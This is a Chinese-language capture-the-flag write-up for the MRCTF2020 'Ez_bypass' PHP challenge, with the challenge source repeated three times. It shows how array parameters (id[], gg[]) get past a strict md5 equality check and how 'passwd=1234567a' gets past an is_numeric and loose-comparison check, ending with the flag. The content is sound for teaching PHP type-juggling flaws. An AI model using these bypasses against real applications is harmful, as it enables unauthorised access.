[MRCTF2020]Ez_bypass – buu刷题笔记

打开题目就是一段代码，我们稍微美化一下，看的清楚点

I put something in F12 for you
include \'flag.php\';
$flag=\'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}\';
if(isset($_GET[\'gg\'])&&isset($_GET[\'id\'])) {
    $id=$_GET[\'id\'];
    $gg=$_GET[\'gg\'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo \'You got the first step\';
        if(isset($_POST[\'passwd\'])) {
            $passwd=$_POST[\'passwd\'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo \'Good Job!\';
                     highlight_file(\'flag.php\');
                     die(\'By Retr_0\');
                 }
                 else
                 {
                     echo \"can you think twice??\";
                 }
            }
            else{
                echo \'You can not get it !\';
            }
        }
        else{
            die(\'only one way to get the flag\');
        }
}
    else {
        echo \"You are not a real hacker!\";
    }
}
else{
    die(\'Please input first\');
}
}Please input first
I put something in F12 for you
include \'flag.php\';
$flag=\'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}\';
if(isset($_GET[\'gg\'])&&isset($_GET[\'id\'])) {
    $id=$_GET[\'id\'];
    $gg=$_GET[\'gg\'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo \'You got the first step\';
        if(isset($_POST[\'passwd\'])) {
            $passwd=$_POST[\'passwd\'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo \'Good Job!\';
                     highlight_file(\'flag.php\');
                     die(\'By Retr_0\');
                 }
                 else
                 {
                     echo \"can you think twice??\";
                 }
            }
            else{
                echo \'You can not get it !\';
            }

        }
        else{
            die(\'only one way to get the flag\');
        }
}
    else {
        echo \"You are not a real hacker!\";
    }
}
else{
    die(\'Please input first\');
}
}Please input first
I put something in F12 for you
include \'flag.php\';
$flag=\'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}\';
if(isset($_GET[\'gg\'])&&isset($_GET[\'id\'])) {
    $id=$_GET[\'id\'];
    $gg=$_GET[\'gg\'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo \'You got the first step\';
        if(isset($_POST[\'passwd\'])) {
            $passwd=$_POST[\'passwd\'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo \'Good Job!\';
                     highlight_file(\'flag.php\');
                     die(\'By Retr_0\');
                 }
                 else
                 {
                     echo \"can you think twice??\";
                 }
            }
            else{
                echo \'You can not get it !\';
            }

        }
        else{
            die(\'only one way to get the flag\');
        }
}
    else {
        echo \"You are not a real hacker!\";
    }
}
else{
    die(\'Please input first\');
}
}Please input first

按f12获取flag文件，别想了，还是乖乖代码审计吧

1.有一个非常明显的绕过，gg和id，一开始以为是弱类型比较，后来发现是强比较

这里可以参考easy_md5这篇文章，简单讲解了如何绕过md5判断

[BJDCTF2020]Easy MD5 – buu刷题笔记

2022年4月18日 11:02

027812

这里我们直接选俩值进行判断

http://72e6ae98-7143-4908-bce0-e4345b77c529.node4.buuoj.cn:81/?id=s878926199a&gg=s155964671a
http://72e6ae98-7143-4908-bce0-e4345b77c529.node4.buuoj.cn:81/?id=s878926199a&gg=s155964671a
http://72e6ae98-7143-4908-bce0-e4345b77c529.node4.buuoj.cn:81/?id=s878926199a&gg=s155964671a

You are not a real hacker!

对于强类型判断，md5无法处理数组，所以我们使用数组进行绕过，修改之后

http://72e6ae98-7143-4908-bce0-e4345b77c529.node4.buuoj.cn:81/?id[]=s878926199a&gg[]=s155964671a
http://72e6ae98-7143-4908-bce0-e4345b77c529.node4.buuoj.cn:81/?id[]=s878926199a&gg[]=s155964671a
http://72e6ae98-7143-4908-bce0-e4345b77c529.node4.buuoj.cn:81/?id[]=s878926199a&gg[]=s155964671a

2.进入第二个判断。is_numeric()函数用1234567a绕。

1234567a是字符串，但是弱比较的时候，1在前，php会将其整体转成数字，就可以通过比较了。
post:passwd=1234567a

最后flag为flag{76d14489-666b-4b0c-b56b-9039adc3421f}